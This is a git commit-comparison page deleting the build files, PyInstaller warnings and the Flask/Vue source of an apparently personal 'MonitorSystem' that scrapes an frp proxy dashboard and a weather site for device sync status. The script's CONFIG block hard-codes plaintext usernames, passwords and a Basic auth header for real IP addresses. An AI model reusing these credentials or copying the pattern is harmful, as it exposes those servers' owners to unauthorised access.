Compare commits
6 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| a0080cecb3 | |||
| 6735ad3a93 | |||
| 94ff1ddf57 | |||
| ca03816668 | |||
| c416c8ad07 | |||
| 9c73e25937 |
@ -1,38 +0,0 @@
|
||||
# -*- mode: python ; coding: utf-8 -*-
|
||||
|
||||
|
||||
a = Analysis(
|
||||
['test1.py'],
|
||||
pathex=[],
|
||||
binaries=[],
|
||||
datas=[('dist', 'dist')],
|
||||
hiddenimports=['flask_sqlalchemy', 'lxml'],
|
||||
hookspath=[],
|
||||
hooksconfig={},
|
||||
runtime_hooks=[],
|
||||
excludes=[],
|
||||
noarchive=False,
|
||||
optimize=0,
|
||||
)
|
||||
pyz = PYZ(a.pure)
|
||||
|
||||
exe = EXE(
|
||||
pyz,
|
||||
a.scripts,
|
||||
a.binaries,
|
||||
a.datas,
|
||||
[],
|
||||
name='MonitorSystem',
|
||||
debug=False,
|
||||
bootloader_ignore_signals=False,
|
||||
strip=False,
|
||||
upx=True,
|
||||
upx_exclude=[],
|
||||
runtime_tmpdir=None,
|
||||
console=True,
|
||||
disable_windowed_traceback=False,
|
||||
argv_emulation=False,
|
||||
target_arch=None,
|
||||
codesign_identity=None,
|
||||
entitlements_file=None,
|
||||
)
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@ -1,131 +0,0 @@
|
||||
|
||||
This file lists modules PyInstaller was not able to find. This does not
|
||||
necessarily mean this module is required for running your program. Python and
|
||||
Python 3rd-party packages include a lot of conditional or optional modules. For
|
||||
example the module 'ntpath' only exists on Windows, whereas the module
|
||||
'posixpath' only exists on Posix systems.
|
||||
|
||||
Types if import:
|
||||
* top-level: imported at the top-level - look at these first
|
||||
* conditional: imported within an if-statement
|
||||
* delayed: imported within a function
|
||||
* optional: imported within a try-except-statement
|
||||
|
||||
IMPORTANT: Do NOT post this list to the issue-tracker. Use it as a basis for
|
||||
tracking down the missing module yourself. Thanks!
|
||||
|
||||
missing module named pyimod02_importers - imported by D:\Git\Learn-Web-spider\venv\Lib\site-packages\PyInstaller\hooks\rthooks\pyi_rth_pkgutil.py (delayed), D:\Git\Learn-Web-spider\venv\Lib\site-packages\PyInstaller\hooks\rthooks\pyi_rth_pkgres.py (delayed)
|
||||
missing module named pwd - imported by posixpath (delayed, conditional, optional), shutil (delayed, optional), tarfile (optional), pathlib (delayed, optional), subprocess (delayed, conditional, optional), netrc (delayed, conditional), getpass (delayed), http.server (delayed, optional), webbrowser (delayed), distutils.util (delayed, conditional, optional), setuptools._vendor.backports.tarfile (optional), distutils.archive_util (optional), setuptools._distutils.util (delayed, conditional, optional), setuptools._distutils.archive_util (optional)
|
||||
missing module named grp - imported by shutil (delayed, optional), tarfile (optional), pathlib (delayed, optional), subprocess (delayed, conditional, optional), setuptools._vendor.backports.tarfile (optional), distutils.archive_util (optional), setuptools._distutils.archive_util (optional)
|
||||
missing module named _posixsubprocess - imported by subprocess (conditional), multiprocessing.util (delayed)
|
||||
missing module named fcntl - imported by subprocess (optional), tornado.platform.posix (top-level)
|
||||
missing module named org - imported by copy (optional)
|
||||
missing module named urllib.urlopen - imported by urllib (delayed, optional), lxml.html (delayed, optional)
|
||||
missing module named urllib.urlencode - imported by urllib (delayed, optional), lxml.html (delayed, optional)
|
||||
missing module named posix - imported by os (conditional, optional), posixpath (optional), shutil (conditional), importlib._bootstrap_external (conditional)
|
||||
missing module named resource - imported by posix (top-level)
|
||||
missing module named _manylinux - imported by packaging._manylinux (delayed, optional), setuptools._vendor.packaging._manylinux (delayed, optional), wheel.vendored.packaging._manylinux (delayed, optional)
|
||||
missing module named '_typeshed.importlib' - imported by pkg_resources (conditional)
|
||||
missing module named _typeshed - imported by werkzeug._internal (conditional), pkg_resources (conditional), setuptools.glob (conditional), setuptools.compat.py311 (conditional), setuptools._vendor.jaraco.collections (conditional)
|
||||
missing module named jnius - imported by setuptools._vendor.platformdirs.android (delayed, conditional, optional)
|
||||
missing module named android - imported by setuptools._vendor.platformdirs.android (delayed, conditional, optional)
|
||||
missing module named _frozen_importlib_external - imported by importlib._bootstrap (delayed), importlib (optional), importlib.abc (optional), zipimport (top-level)
|
||||
missing module named 'distutils._modified' - imported by setuptools._distutils.file_util (delayed)
|
||||
missing module named 'distutils._log' - imported by setuptools._distutils.command.bdist_dumb (top-level), setuptools._distutils.command.bdist_rpm (top-level), setuptools._distutils.command.build_clib (top-level), setuptools._distutils.command.build_ext (top-level), setuptools._distutils.command.build_py (top-level), setuptools._distutils.command.build_scripts (top-level), setuptools._distutils.command.clean (top-level), setuptools._distutils.command.config (top-level), setuptools._distutils.command.install (top-level), setuptools._distutils.command.install_scripts (top-level), setuptools._distutils.command.sdist (top-level)
|
||||
missing module named usercustomize - imported by site (delayed, optional)
|
||||
missing module named sitecustomize - imported by site (delayed, optional)
|
||||
missing module named readline - imported by code (delayed, conditional, optional), flask.cli (delayed, conditional, optional), rlcompleter (optional), cmd (delayed, conditional, optional), pdb (delayed, optional), site (delayed, optional)
|
||||
missing module named _scproxy - imported by urllib.request (conditional)
|
||||
missing module named termios - imported by getpass (optional), tty (top-level), werkzeug._reloader (delayed, optional), click._termui_impl (conditional)
|
||||
missing module named _posixshmem - imported by multiprocessing.resource_tracker (conditional), multiprocessing.shared_memory (conditional)
|
||||
missing module named multiprocessing.set_start_method - imported by multiprocessing (top-level), multiprocessing.spawn (top-level)
|
||||
missing module named multiprocessing.get_start_method - imported by multiprocessing (top-level), multiprocessing.spawn (top-level)
|
||||
missing module named multiprocessing.get_context - imported by multiprocessing (top-level), multiprocessing.pool (top-level), multiprocessing.managers (top-level), multiprocessing.sharedctypes (top-level)
|
||||
missing module named multiprocessing.TimeoutError - imported by multiprocessing (top-level), multiprocessing.pool (top-level)
|
||||
missing module named 'org.python' - imported by pickle (optional), xml.sax (delayed, conditional)
|
||||
missing module named 'java.lang' - imported by platform (delayed, optional), xml.sax._exceptions (conditional)
|
||||
missing module named multiprocessing.BufferTooShort - imported by multiprocessing (top-level), multiprocessing.connection (top-level)
|
||||
missing module named multiprocessing.AuthenticationError - imported by multiprocessing (top-level), multiprocessing.connection (top-level)
|
||||
missing module named asyncio.DefaultEventLoopPolicy - imported by asyncio (delayed, conditional), asyncio.events (delayed, conditional)
|
||||
missing module named trove_classifiers - imported by setuptools.config._validate_pyproject.formats (optional)
|
||||
missing module named importlib_resources - imported by setuptools._vendor.jaraco.text (optional)
|
||||
excluded module named _frozen_importlib - imported by importlib (optional), importlib.abc (optional), zipimport (top-level)
|
||||
missing module named vms_lib - imported by platform (delayed, optional)
|
||||
missing module named java - imported by platform (delayed)
|
||||
missing module named _winreg - imported by platform (delayed, optional), tzlocal.win32 (optional)
|
||||
missing module named collections.MutableMapping - imported by collections (optional), html5lib.treebuilders.dom (optional), html5lib.treebuilders.etree_lxml (optional)
|
||||
missing module named collections.Mapping - imported by collections (optional), html5lib._utils (optional), html5lib._trie._base (optional)
|
||||
missing module named collections.Callable - imported by collections (optional), socks (optional), bs4.element (optional), bs4.builder._lxml (optional)
|
||||
missing module named htmlentitydefs - imported by tornado.escape (conditional), lxml.html.soupparser (optional)
|
||||
missing module named BeautifulSoup - imported by lxml.html.soupparser (optional)
|
||||
missing module named cchardet - imported by bs4.dammit (optional)
|
||||
missing module named bs4.builder.HTMLParserTreeBuilder - imported by bs4.builder (top-level), bs4 (top-level)
|
||||
missing module named StringIO - imported by six (conditional)
|
||||
missing module named html5lib.treebuilders._base - imported by html5lib.treebuilders (optional), bs4.builder._html5lib (optional), lxml.html._html5builder (top-level)
|
||||
missing module named html5lib.XHTMLParser - imported by html5lib (optional), lxml.html.html5parser (optional)
|
||||
runtime module named six.moves - imported by dateutil.tz.tz (top-level), dateutil.tz._factories (top-level), dateutil.tz.win (top-level), dateutil.rrule (top-level), html5lib._inputstream (top-level), six.moves.urllib (top-level), html5lib.filters.sanitizer (top-level)
|
||||
missing module named six.moves.range - imported by six.moves (top-level), dateutil.rrule (top-level)
|
||||
missing module named 'genshi.core' - imported by html5lib.treewalkers.genshi (top-level)
|
||||
missing module named genshi - imported by html5lib.treewalkers.genshi (top-level)
|
||||
missing module named urlparse - imported by tornado.escape (conditional), lxml.ElementInclude (optional), lxml.html.html5parser (optional)
|
||||
missing module named urllib2 - imported by lxml.ElementInclude (optional), lxml.html.html5parser (optional)
|
||||
missing module named lxml_html_clean - imported by lxml.html.clean (optional)
|
||||
missing module named twisted - imported by apscheduler.schedulers.twisted (optional)
|
||||
missing module named trollius - imported by tornado.platform.asyncio (optional)
|
||||
missing module named __builtin__ - imported by tornado.gen (conditional)
|
||||
missing module named backports_abc - imported by tornado.gen (optional)
|
||||
missing module named singledispatch - imported by tornado.gen (optional)
|
||||
missing module named thread - imported by tornado.ioloop (conditional)
|
||||
missing module named 'tornado.speedups' - imported by tornado.util (conditional, optional)
|
||||
missing module named monotonic - imported by tornado.platform.auto (optional)
|
||||
missing module named monotime - imported by tornado.platform.auto (optional)
|
||||
missing module named _curses - imported by curses (top-level), curses.has_key (top-level)
|
||||
missing module named win32evtlog - imported by logging.handlers (delayed, optional)
|
||||
missing module named win32evtlogutil - imported by logging.handlers (delayed, optional)
|
||||
missing module named 'gevent.lock' - imported by apscheduler.schedulers.gevent (optional)
|
||||
missing module named 'gevent.event' - imported by apscheduler.schedulers.gevent (optional)
|
||||
missing module named gevent - imported by apscheduler.executors.gevent (optional), apscheduler.schedulers.gevent (optional)
|
||||
missing module named 'kazoo.client' - imported by apscheduler.jobstores.zookeeper (optional)
|
||||
missing module named kazoo - imported by apscheduler.jobstores.zookeeper (top-level)
|
||||
missing module named annotationlib - imported by sqlalchemy.util.langhelpers (conditional)
|
||||
missing module named pysqlcipher3 - imported by sqlalchemy.dialects.sqlite.pysqlcipher (delayed)
|
||||
missing module named sqlcipher3 - imported by sqlalchemy.dialects.sqlite.pysqlcipher (delayed, optional)
|
||||
missing module named psycopg2 - imported by sqlalchemy.dialects.postgresql.psycopg2 (delayed)
|
||||
missing module named 'psycopg.pq' - imported by sqlalchemy.dialects.postgresql.psycopg (delayed)
|
||||
missing module named 'psycopg.types' - imported by sqlalchemy.dialects.postgresql.psycopg (delayed, conditional)
|
||||
missing module named 'psycopg.adapt' - imported by sqlalchemy.dialects.postgresql.psycopg (delayed, conditional)
|
||||
missing module named psycopg - imported by sqlalchemy.dialects.postgresql.psycopg (delayed, conditional)
|
||||
missing module named asyncpg - imported by sqlalchemy.dialects.postgresql.asyncpg (delayed)
|
||||
missing module named oracledb - imported by sqlalchemy.dialects.oracle.oracledb (delayed, conditional)
|
||||
missing module named cx_Oracle - imported by sqlalchemy.dialects.oracle.cx_oracle (delayed)
|
||||
missing module named mysql - imported by sqlalchemy.dialects.mysql.mysqlconnector (delayed, conditional, optional)
|
||||
missing module named asyncmy - imported by sqlalchemy.dialects.mysql.asyncmy (delayed)
|
||||
missing module named nacl - imported by pymysql._auth (delayed, optional)
|
||||
missing module named 'cryptography.hazmat' - imported by werkzeug.serving (delayed, conditional, optional), redis.ocsp (top-level), pymysql._auth (optional)
|
||||
missing module named rethinkdb - imported by apscheduler.jobstores.rethinkdb (optional)
|
||||
missing module named cryptography - imported by urllib3.contrib.pyopenssl (top-level), requests (conditional, optional), werkzeug.serving (delayed, optional), flask.cli (delayed, conditional, optional), redis.utils (optional), redis.ocsp (top-level)
|
||||
missing module named hiredis - imported by redis.utils (optional), redis.connection (conditional), redis._parsers.hiredis (delayed)
|
||||
missing module named 'cryptography.x509' - imported by urllib3.contrib.pyopenssl (delayed, optional), werkzeug.serving (delayed, conditional, optional), redis.ocsp (top-level)
|
||||
missing module named 'cryptography.exceptions' - imported by redis.ocsp (top-level)
|
||||
missing module named OpenSSL - imported by urllib3.contrib.pyopenssl (top-level), redis.connection (delayed, conditional)
|
||||
missing module named 'pymongo.errors' - imported by apscheduler.jobstores.mongodb (optional)
|
||||
missing module named pymongo - imported by apscheduler.jobstores.mongodb (optional)
|
||||
missing module named bson - imported by apscheduler.jobstores.mongodb (optional)
|
||||
missing module named etcd3 - imported by apscheduler.jobstores.etcd (optional)
|
||||
missing module named 'setuptools._vendor.backports.zoneinfo' - imported by apscheduler.util (conditional)
|
||||
missing module named dateutil.tz.tzfile - imported by dateutil.tz (top-level), dateutil.zoneinfo (top-level)
|
||||
missing module named asgiref - imported by flask.app (delayed, optional)
|
||||
missing module named '_typeshed.wsgi' - imported by werkzeug.exceptions (conditional), werkzeug.http (conditional), werkzeug.wsgi (conditional), werkzeug.utils (conditional), werkzeug.wrappers.response (conditional), werkzeug.test (conditional), werkzeug.formparser (conditional), werkzeug.wrappers.request (conditional), werkzeug.serving (conditional), werkzeug.debug (conditional), werkzeug.middleware.shared_data (conditional), werkzeug.local (conditional), werkzeug.routing.exceptions (conditional), werkzeug.routing.map (conditional), flask.typing (conditional), flask.ctx (conditional), flask.testing (conditional), flask.cli (conditional), flask.app (conditional)
|
||||
missing module named dotenv - imported by flask.cli (delayed, optional)
|
||||
missing module named 'watchdog.observers' - imported by werkzeug._reloader (delayed)
|
||||
missing module named 'watchdog.events' - imported by werkzeug._reloader (delayed)
|
||||
missing module named watchdog - imported by werkzeug._reloader (delayed)
|
||||
missing module named simplejson - imported by requests.compat (conditional, optional)
|
||||
missing module named dummy_threading - imported by requests.cookies (optional)
|
||||
missing module named zstandard - imported by urllib3.util.request (optional), urllib3.response (optional)
|
||||
missing module named brotli - imported by urllib3.util.request (optional), urllib3.response (optional)
|
||||
missing module named brotlicffi - imported by urllib3.util.request (optional), urllib3.response (optional)
|
||||
missing module named win_inet_pton - imported by socks (conditional, optional)
|
||||
missing module named 'OpenSSL.crypto' - imported by urllib3.contrib.pyopenssl (delayed, conditional)
|
||||
missing module named pyodide - imported by urllib3.contrib.emscripten.fetch (top-level)
|
||||
missing module named js - imported by urllib3.contrib.emscripten.fetch (top-level)
|
||||
File diff suppressed because it is too large
Load Diff
BIN
1.1/dabao/dist/MonitorSystem.exe
vendored
BIN
1.1/dabao/dist/MonitorSystem.exe
vendored
Binary file not shown.
155
1.1/dabao/dist/assets/index-0f069df0.js
vendored
155
1.1/dabao/dist/assets/index-0f069df0.js
vendored
File diff suppressed because one or more lines are too long
1
1.1/dabao/dist/assets/index-c85ab497.css
vendored
1
1.1/dabao/dist/assets/index-c85ab497.css
vendored
File diff suppressed because one or more lines are too long
15
1.1/dabao/dist/index.html
vendored
15
1.1/dabao/dist/index.html
vendored
@ -1,15 +0,0 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/svg+xml" href="./vite.svg" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>my-vue-app</title>
|
||||
<script type="module" crossorigin src="./assets/index-0f069df0.js"></script>
|
||||
<link rel="stylesheet" href="./assets/index-c85ab497.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
1
1.1/dabao/dist/vite.svg
vendored
1
1.1/dabao/dist/vite.svg
vendored
@ -1 +0,0 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="31.88" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 257"><defs><linearGradient id="IconifyId1813088fe1fbc01fb466" x1="-.828%" x2="57.636%" y1="7.652%" y2="78.411%"><stop offset="0%" stop-color="#41D1FF"></stop><stop offset="100%" stop-color="#BD34FE"></stop></linearGradient><linearGradient id="IconifyId1813088fe1fbc01fb467" x1="43.376%" x2="50.316%" y1="2.242%" y2="89.03%"><stop offset="0%" stop-color="#FFEA83"></stop><stop offset="8.333%" stop-color="#FFDD35"></stop><stop offset="100%" stop-color="#FFA800"></stop></linearGradient></defs><path fill="url(#IconifyId1813088fe1fbc01fb466)" d="M255.153 37.938L134.897 252.976c-2.483 4.44-8.862 4.466-11.382.048L.875 37.958c-2.746-4.814 1.371-10.646 6.827-9.67l120.385 21.517a6.537 6.537 0 0 0 2.322-.004l117.867-21.483c5.438-.991 9.574 4.796 6.877 9.62Z"></path><path fill="url(#IconifyId1813088fe1fbc01fb467)" d="M185.432.063L96.44 17.501a3.268 3.268 0 0 0-2.634 3.014l-5.474 92.456a3.268 3.268 0 0 0 3.997 3.378l24.777-5.718c2.318-.535 4.413 1.507 3.936 3.838l-7.361 36.047c-.495 2.426 1.782 4.5 4.151 3.78l15.304-4.649c2.372-.72 4.652 1.36 4.15 3.788l-11.698 56.621c-.732 3.542 3.979 5.473 5.943 2.437l1.313-2.028l72.516-144.72c1.215-2.423-.88-5.186-3.54-4.672l-25.505 4.922c-2.396.462-4.435-1.77-3.759-4.114l16.646-57.705c.677-2.35-1.37-4.583-3.769-4.113Z"></path></svg>
|
||||
|
Before Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
@ -1,327 +0,0 @@
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import threading
|
||||
import requests
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from flask import Flask, jsonify, send_from_directory
|
||||
from flask_sqlalchemy import SQLAlchemy
|
||||
from flask_cors import CORS
|
||||
from flask_apscheduler import APScheduler
|
||||
from lxml import etree
|
||||
|
||||
# --- 配置日志 ---
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
|
||||
# --- 关键路径处理函数 (适配 PyInstaller) ---
|
||||
def get_base_path():
|
||||
"""获取运行时及其所在目录,适配开发环境和打包后的EXE环境"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
# 如果是打包后的 exe,sys.executable 是 exe 的路径
|
||||
return os.path.dirname(sys.executable)
|
||||
# 开发环境下,是当前脚本的路径
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
def get_static_path():
|
||||
"""获取 Vue 静态资源 dist 的路径"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
# PyInstaller 打包时,资源文件会被解压到 sys._MEIPASS 临时目录
|
||||
# 我们需要在打包命令中指定 --add-data "dist;dist"
|
||||
return os.path.join(sys._MEIPASS, 'dist')
|
||||
# 开发环境
|
||||
return os.path.join(os.path.dirname(os.path.abspath(__file__)), 'dist')
|
||||
|
||||
|
||||
# --- Flask 初始化 ---
|
||||
# static_folder 指向 Vue 打包后的 dist 目录
|
||||
# static_url_path='' 表示静态文件不需要 /static 前缀
|
||||
dist_folder = get_static_path()
|
||||
app = Flask(__name__, static_folder=dist_folder, static_url_path='')
|
||||
CORS(app)
|
||||
|
||||
# --- 数据库配置 ---
|
||||
# 确保数据库生成在 exe 同级目录下,而不是临时文件夹中
|
||||
db_path = os.path.join(get_base_path(), 'monitor_data.db')
|
||||
app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{db_path}'
|
||||
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
|
||||
app.config['SCHEDULER_API_ENABLED'] = True
|
||||
|
||||
db = SQLAlchemy(app)
|
||||
scheduler = APScheduler()
|
||||
|
||||
|
||||
# --- 模型定义 (保持不变) ---
|
||||
class MonitorRecord(db.Model):
|
||||
id = db.Column(db.Integer, primary_key=True)
|
||||
source = db.Column(db.String(50))
|
||||
name = db.Column(db.String(100))
|
||||
status = db.Column(db.String(50))
|
||||
reason = db.Column(db.String(255))
|
||||
offset = db.Column(db.String(50))
|
||||
latest_time = db.Column(db.String(50))
|
||||
check_time = db.Column(db.String(50))
|
||||
content = db.Column(db.Text, nullable=True)
|
||||
|
||||
|
||||
with app.app_context():
|
||||
db.create_all()
|
||||
|
||||
# --- 爬虫配置 (保持不变) ---
|
||||
CONFIG = {
|
||||
"106": {
|
||||
"base_url": "http://106.75.72.40:7500/api/proxy/tcp",
|
||||
"primary_auth": "Basic YWRtaW46bGljYWhr",
|
||||
"login_payload": {"username": "admin", "password": "licahk", "recaptcha": ""}
|
||||
},
|
||||
"82": {
|
||||
"base_url": "http://82.156.1.111/weather/php",
|
||||
"login": {'username': 'renlixin', 'password': 'licahk', 'login': '123'}
|
||||
}
|
||||
}
|
||||
|
||||
is_running = False
|
||||
|
||||
|
||||
# --- 核心辅助函数 (保持不变) ---
|
||||
def calculate_offset(latest_time_str):
|
||||
if not latest_time_str or latest_time_str == "N/A":
|
||||
return "从未同步"
|
||||
try:
|
||||
clean_date_str = str(latest_time_str).split()[0].replace('_', '-')
|
||||
target_date = datetime.strptime(clean_date_str, "%Y-%m-%d").date()
|
||||
diff = (datetime.now().date() - target_date).days
|
||||
if diff == 0: return "当天已同步"
|
||||
return f"滞后 {diff} 天"
|
||||
except:
|
||||
return "时间解析失败"
|
||||
|
||||
|
||||
def save_record(source, name, status, reason, latest_time="N/A", content=None):
|
||||
record = MonitorRecord.query.filter_by(source=source, name=name).first()
|
||||
now_str = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
current_offset = calculate_offset(latest_time)
|
||||
|
||||
if record:
|
||||
if content is not None: record.content = content
|
||||
if latest_time != "N/A": record.latest_time = latest_time
|
||||
record.status = status
|
||||
record.reason = reason
|
||||
record.check_time = now_str
|
||||
time_base = latest_time if latest_time != "N/A" else record.latest_time
|
||||
record.offset = calculate_offset(time_base)
|
||||
else:
|
||||
new_record = MonitorRecord(
|
||||
source=source, name=name, status=status, reason=reason,
|
||||
offset=current_offset, latest_time=latest_time,
|
||||
check_time=now_str, content=content
|
||||
)
|
||||
db.session.add(new_record)
|
||||
try:
|
||||
db.session.commit()
|
||||
except Exception as e:
|
||||
db.session.rollback()
|
||||
logging.error(f"DB Error: {e}")
|
||||
return f"{source}_{name}"
|
||||
|
||||
|
||||
# --- 业务逻辑函数 (保持不变) ---
|
||||
def get_106_dynamic_token(port):
|
||||
try:
|
||||
login_url = f"http://106.75.72.40:{port}/api/login"
|
||||
resp = requests.post(login_url, json=CONFIG["106"]["login_payload"], timeout=10)
|
||||
return resp.text.strip().replace('"', '') if resp.status_code == 200 else None
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def find_closest_item(items, is_date_level=True):
|
||||
if not items or not isinstance(items, list): return None
|
||||
today = datetime.now()
|
||||
scored_items = []
|
||||
for item in items:
|
||||
name_val = item.get('name', '')
|
||||
path_val = item.get('path', '')
|
||||
target_str = name_val if name_val else path_val.split('/')[-1]
|
||||
try:
|
||||
if is_date_level:
|
||||
current_date = datetime.strptime(target_str, "%Y_%m_%d")
|
||||
else:
|
||||
mod_str = item.get('modified', '')
|
||||
current_date = datetime.fromisoformat(mod_str.replace('Z', '+00:00'))
|
||||
diff = abs((today - current_date.replace(tzinfo=None)).total_seconds())
|
||||
scored_items.append((diff, item, target_str))
|
||||
except:
|
||||
continue
|
||||
if not scored_items: return None
|
||||
scored_items.sort(key=lambda x: x[0])
|
||||
return scored_items[0]
|
||||
|
||||
|
||||
def run_106_logic(active_set):
|
||||
# (保持原样,省略以节省空间,直接用你原本的逻辑即可)
|
||||
c = CONFIG["106"]
|
||||
today_str = datetime.now().strftime("%Y_%m_%d")
|
||||
main_headers = {"Authorization": c["primary_auth"], "User-Agent": "Mozilla/5.0"}
|
||||
try:
|
||||
resp = requests.get(c["base_url"], headers=main_headers, timeout=20)
|
||||
proxies = resp.json().get('proxies', [])
|
||||
for item in proxies:
|
||||
name = item.get('name', '')
|
||||
if not name.lower().endswith('_data'): continue
|
||||
if "TOWER" not in name.upper(): continue
|
||||
if str(item.get('status')).lower() != 'online':
|
||||
key = save_record("106网站", name, "离线", f"设备状态: {item.get('status')}")
|
||||
active_set.add(key)
|
||||
continue
|
||||
try:
|
||||
port = item.get('conf', {}).get('remote_port')
|
||||
token = get_106_dynamic_token(port)
|
||||
if not token:
|
||||
key = save_record("106网站", name, "异常", "Token获取失败")
|
||||
active_set.add(key)
|
||||
continue
|
||||
headers = {"Authorization": c["primary_auth"], "x-auth": token}
|
||||
api_root = "/api/resources/Data/" if "TOWER_" in name.upper() else "/api/resources/data/"
|
||||
res1 = requests.get(f"http://106.75.72.40:{port}{api_root}", headers=headers, timeout=10)
|
||||
best_date = find_closest_item(res1.json().get('items', []), True)
|
||||
if not best_date or best_date[2] != today_str:
|
||||
key = save_record("106网站", name, "正常", "未找到今日文件夹",
|
||||
latest_time=best_date[2] if best_date else "N/A")
|
||||
active_set.add(key)
|
||||
continue
|
||||
date_path = f"{api_root}{best_date[2]}/"
|
||||
res2 = requests.get(f"http://106.75.72.40:{port}{date_path}", headers=headers, timeout=10)
|
||||
best_file = find_closest_item(res2.json().get('items', []), False)
|
||||
if not best_file:
|
||||
key = save_record("106网站", name, "正常", "今日文件夹为空", latest_time=today_str)
|
||||
active_set.add(key)
|
||||
continue
|
||||
file_item = best_file[1]
|
||||
full_path = file_item.get('path') or f"{date_path}{file_item.get('name')}"
|
||||
is_tower_i = "TOWER" in name.upper() and "TOWER_" not in name.upper()
|
||||
if is_tower_i:
|
||||
download_url = f"http://106.75.72.40:{port}/api/raw{full_path}"
|
||||
res3 = requests.get(download_url, headers=headers, timeout=20)
|
||||
final_content = f"Binary Data Size: {len(res3.content)}"
|
||||
else:
|
||||
file_api_url = f"http://106.75.72.40:{port}/api/resources{full_path}"
|
||||
res3 = requests.get(file_api_url, headers=headers, timeout=20)
|
||||
final_content = res3.json().get('content', '')
|
||||
key = save_record("106网站", name, "正常", "同步成功", latest_time=today_str, content=final_content)
|
||||
active_set.add(key)
|
||||
except Exception as e:
|
||||
key = save_record("106网站", name, "异常", f"采集错误: {str(e)[:50]}")
|
||||
active_set.add(key)
|
||||
except Exception as e:
|
||||
logging.error(f"106 Global Error: {e}")
|
||||
|
||||
|
||||
def run_82_logic(active_set):
|
||||
# (保持原样,直接用你原本的逻辑即可)
|
||||
c = CONFIG["82"]
|
||||
session = requests.Session()
|
||||
try:
|
||||
session.post(f"{c['base_url']}/login.php", data=c["login"], timeout=10)
|
||||
resp = session.post(f"{c['base_url']}/GetStationList.php", timeout=10)
|
||||
stations = etree.HTML(resp.content).xpath('//option/@value')
|
||||
for sid in [s for s in stations if s]:
|
||||
try:
|
||||
r = session.post(f"{c['base_url']}/getLastWeatherData.php", data=str(sid),
|
||||
headers={'Content-Type': 'text/plain'}, timeout=10)
|
||||
data = r.json()
|
||||
if data:
|
||||
d_list = data.get('date', [])
|
||||
latest = str(d_list[-1]) if d_list else "N/A"
|
||||
key = save_record("82网站", sid, "正常", "同步成功", latest_time=latest,
|
||||
content=json.dumps(data, ensure_ascii=False))
|
||||
active_set.add(key)
|
||||
else:
|
||||
key = save_record("82网站", sid, "异常", "返回空数据")
|
||||
active_set.add(key)
|
||||
except:
|
||||
key = save_record("82网站", sid, "异常", "单个采集失败")
|
||||
active_set.add(key)
|
||||
except Exception as e:
|
||||
logging.error(f"82 Global Error: {e}")
|
||||
|
||||
|
||||
def execute_monitor_task():
|
||||
global is_running
|
||||
if is_running: return
|
||||
is_running = True
|
||||
logging.info("Starting monitor task...")
|
||||
with app.app_context():
|
||||
active_set = set()
|
||||
run_106_logic(active_set)
|
||||
run_82_logic(active_set)
|
||||
all_records = MonitorRecord.query.all()
|
||||
now_str = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
for record in all_records:
|
||||
if f"{record.source}_{record.name}" not in active_set:
|
||||
record.status = "已离线"
|
||||
record.reason = "设备本次未出现"
|
||||
record.check_time = now_str
|
||||
record.offset = calculate_offset(record.latest_time)
|
||||
try:
|
||||
db.session.commit()
|
||||
except:
|
||||
db.session.rollback()
|
||||
is_running = False
|
||||
logging.info("Monitor task finished.")
|
||||
|
||||
|
||||
# --- API 路由 (保持不变) ---
|
||||
@app.route('/api/run', methods=['POST'])
|
||||
def manual_start():
|
||||
if is_running: return jsonify({"status": "busy"}), 400
|
||||
threading.Thread(target=execute_monitor_task).start()
|
||||
return jsonify({"status": "started"})
|
||||
|
||||
|
||||
@app.route('/api/status')
|
||||
def status(): return jsonify({"is_running": is_running})
|
||||
|
||||
|
||||
@app.route('/api/logs')
|
||||
def logs():
|
||||
data = MonitorRecord.query.all()
|
||||
return jsonify([{
|
||||
"source": l.source, "name": l.name, "status": l.status,
|
||||
"reason": l.reason, "offset": l.offset, "latest_time": l.latest_time,
|
||||
"check_time": l.check_time, "content": l.content
|
||||
} for l in data])
|
||||
|
||||
|
||||
# --- 新增: 前端页面托管路由 ---
|
||||
@app.route('/')
|
||||
def serve_index():
|
||||
return send_from_directory(app.static_folder, 'index.html')
|
||||
|
||||
|
||||
@app.route('/<path:path>')
|
||||
def serve_static_files(path):
|
||||
# 尝试在 dist 目录寻找文件 (css, js, icons)
|
||||
file_path = os.path.join(app.static_folder, path)
|
||||
if os.path.exists(file_path):
|
||||
return send_from_directory(app.static_folder, path)
|
||||
# 如果找不到文件(例如刷新页面时的路由),返回index.html让Vue Router处理
|
||||
return send_from_directory(app.static_folder, 'index.html')
|
||||
|
||||
|
||||
# --- 调度器与启动 ---
|
||||
@scheduler.task('cron', id='daily_job', hour=10, minute=0)
|
||||
def auto_run_task():
|
||||
with app.app_context():
|
||||
threading.Thread(target=execute_monitor_task).start()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
scheduler.init_app(app)
|
||||
scheduler.start()
|
||||
# Host='0.0.0.0' 允许外部IP访问
|
||||
# Port=5000 (确保 Windows 防火墙开放了此端口)
|
||||
print("应用正在启动... 请确保 dist 文件夹与脚本/exe 同级或已被打包")
|
||||
app.run(host='0.0.0.0', port=5000, debug=False, use_reloader=False)
|
||||
Binary file not shown.
135
1.1/frps.py
135
